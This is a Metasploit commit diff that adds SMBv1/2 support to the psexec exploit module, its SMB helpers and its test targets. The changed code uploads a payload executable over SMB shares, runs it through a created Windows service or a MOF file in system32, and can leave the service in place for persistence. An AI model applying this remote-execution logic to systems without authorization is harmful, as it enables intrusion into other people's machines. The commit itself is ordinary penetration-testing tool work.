Land #10185, add SMBv1/2 support in psexec

4.x
Brent Cook 2018-06-29 17:49:27 -05:00 committed by Metasploit
parent fa95c0c2a1
commit 709630e35c
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
7 changed files with 91 additions and 93 deletions

View File

@ -166,8 +166,8 @@ module Msf
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better
def smb_open(path, perm)
self.simple.open(path, perm, datastore['SMB::ChunkSize'])
def smb_open(path, perm, read: true, write: false)
self.simple.open(path, perm, datastore['SMB::ChunkSize'], read: read, write: write)
end
def smb_hostname
@ -220,6 +220,8 @@ module Msf
def smb_file_exist?(file)
begin
fd = simple.open(file, 'o')
rescue RubySMB::Error::UnexpectedStatusCode => e
found = false
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.

View File

@ -142,54 +142,52 @@ module Exploit::Remote::SMB::Client::Psexec
if svc_handle.nil?
print_error("No service handle retrieved")
return false
else
end
if service_description
vprint_status("Changing service description...")
svc_client.changeservicedescription(svc_handle, service_description)
if service_description
vprint_status("Changing service description...")
svc_client.changeservicedescription(svc_handle, service_description)
end
vprint_status("Starting the service...")
begin
svc_status = svc_client.startservice(svc_handle)
case svc_status
when ERROR_SUCCESS
print_good("Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_good("Service start timed out, OK if running a command or non-service executable...")
else
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
end
vprint_status("Starting the service...")
ensure
begin
svc_status = svc_client.startservice(svc_handle)
case svc_status
when ERROR_SUCCESS
print_good("Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_good("Service start timed out, OK if running a command or non-service executable...")
# If service already exists don't delete it!
# Maybe we could have a force cleanup option..?
if service_exists
print_warning("Not removing service as it already existed...")
elsif datastore['SERVICE_PERSIST']
print_warning("Not removing service for persistence...")
else
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
vprint_status("Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("Successfully removed the service")
else
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
end
end
ensure
begin
# If service already exists don't delete it!
# Maybe we could have a force cleanup option..?
if service_exists
print_warning("Not removing service as it already existed...")
elsif datastore['SERVICE_PERSIST']
print_warning("Not removing service for persistence...")
else
vprint_status("Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("Successfully removed the service")
else
print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
end
end
ensure
vprint_status("Closing service handle...")
svc_client.closehandle(svc_handle)
end
vprint_status("Closing service handle...")
svc_client.closehandle(svc_handle)
end
end
if disconnect
sleep(1)
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
end
@ -272,11 +270,11 @@ module Exploit::Remote::SMB::Client::Psexec
end
def native_upload(smb_share)
filename = "#{rand_text_alpha(8)}.exe"
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
serviceencoder = ''
# Upload the shellcode to a file
print_status("Uploading payload...")
print_status("Uploading payload... #{filename}")
smbshare = smb_share
fileprefix = ""
# if SHARE = Users/sasha/ or something like this
@ -288,11 +286,11 @@ module Exploit::Remote::SMB::Client::Psexec
smbshare = folder_list[0]
fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
else
subfolder = false
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
fd = smb_open("\\#{filename}", 'rwct')
fd = smb_open("#{filename}", 'rwct', write: true)
end
exe = ''
opts = { :servicename => service_name, :serviceencoder => serviceencoder}
@ -330,14 +328,14 @@ module Exploit::Remote::SMB::Client::Psexec
if smb_share =~ /.[\\\/]/
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{fileprefix}\\#{filename}")
simple.delete("#{fileprefix}\\#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
end
else
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
begin
simple.delete("\\#{filename}")
simple.delete("#{filename}")
rescue XCEPT::ErrorCode => e
print_error("Delete of \\#{filename} failed: #{e.message}")
end
@ -347,7 +345,7 @@ module Exploit::Remote::SMB::Client::Psexec
def mof_upload(smb_share)
share = "\\\\#{datastore['RHOST']}\\ADMIN$"
filename = "#{rand_text_alpha(8)}.exe"
filename = "#{Rex::Text.rand_text_alpha(8)}.exe"
# payload as exe
print_status("Trying wbemexec...")
@ -358,16 +356,16 @@ module Exploit::Remote::SMB::Client::Psexec
end
simple.connect(share)
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
fd << exe
fd.close
print_status("Created %SystemRoot%\\system32\\#{filename}")
# mof to cause execution of above
mofname = rand_text_alphanumeric(14) + ".MOF"
mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
mof = generate_mof(mofname, filename)
print_status("Uploading MOF...")
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
fd << mof
fd.close
print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

View File

@ -141,43 +141,7 @@ require 'rex/proto/smb/exceptions'
# Are we reading from a remote pipe over SMB?
if (self.socket.class == Rex::Proto::SMB::SimpleClient::OpenPipe)
begin
# Max SMB read is 65535, cap it at 64000
max_read = [64000, max_read].min
min_read = [64000, min_read].min
read_limit = nil
while(true)
# Random read offsets will not work on Windows NT 4.0 (thanks Dave!)
read_cnt = (rand(max_read-min_read)+min_read)
if(read_limit)
if(read_cnt + raw_response.length > read_limit)
read_cnt = raw_response.length - read_limit
end
end
data = self.socket.read(read_cnt, rand(1024)+1)
break if !(data and data.length > 0)
raw_response += data
# Keep reading until we have at least the DCERPC header
next if raw_response.length < 10
# We now have to process the raw_response and parse out the DCERPC fragment length
# if we have read enough data. Once we have the length value, we need to make sure
# that we don't read beyond this amount, or it can screw up the SMB state
if (not read_limit)
begin
check = Rex::Proto::DCERPC::Response.new(raw_response)
read_limit = check.frag_len
rescue ::Rex::Proto::DCERPC::Exceptions::InvalidPacket
end
end
break if (read_limit and read_limit <= raw_response.length)
end
raw_response = self.socket.read(65535, 0)
rescue Rex::Proto::SMB::Exceptions::NoReply
# I don't care if I didn't get a reply...
rescue Rex::Proto::SMB::Exceptions::ErrorCode => exception
@ -306,7 +270,6 @@ require 'rex/proto/smb/exceptions'
raise Rex::Proto::DCERPC::Exceptions::NoResponse
end
self.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
if self.last_response.type == 3

View File

@ -214,7 +214,11 @@ attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
end
def delete(*args)
self.client.delete(*args)
if self.versions.include?(2)
self.client.delete(args[0])
else
self.client.delete(*args)
end
end
def create_pipe(path, perm = 'c')

View File

@ -29,7 +29,7 @@ module Rex::Proto::SMB
client.close(file_id, tree_id)
end
def read_ruby_smb(length, offset)
def read_ruby_smb(length, offset, depth = 0)
if length.nil?
max_size = client.open_files[client.last_file_id].size
fptr = offset
@ -47,7 +47,15 @@ module Rex::Proto::SMB
fptr = data.length
end
else
data = client.read(file_id, offset, length).pack('C*')
begin
data = client.read(file_id, offset, length).pack('C*')
rescue RubySMB::Error::UnexpectedStatusCode => e
if e.message == 'STATUS_PIPE_EMPTY' && depth < 2
data = read_ruby_smb(length, offset, depth + 1)
else
raise e
end
end
end
data

View File

@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
print_status("Connecting to the server...")
connect()
connect(versions: [1,2])
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login()

View File

@ -12,7 +12,8 @@
"NAME": "exploit/windows/smb/psexec",
"SETTINGS": [
"SMBUser=vagrant",
"SMBPass=vagrant"
"SMBPass=vagrant",
"TARGET=0"
]
}
],
@ -42,6 +43,28 @@
},
{
"CPE": "cpe:/o:microsoft:windows_10:::x64"
},
{
"CPE": "cpe:/o:microsoft:windows_8.1::sp1:x64"
},
{
"CPE": "cpe:/o:microsoft:windows_server_2008:r2:sp1:x64"
},
{
"CPE": "cpe:/o:microsoft:windows_7::sp1:x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_10:1607::x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_8.1:::x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
},
{
"CPE": "cpe:/o:microsoft:windows_server_2008::r2:x64",
"TESTING_SNAPSHOT": "DisableSMBv1"
}
],
"TARGET_GLOBALS": {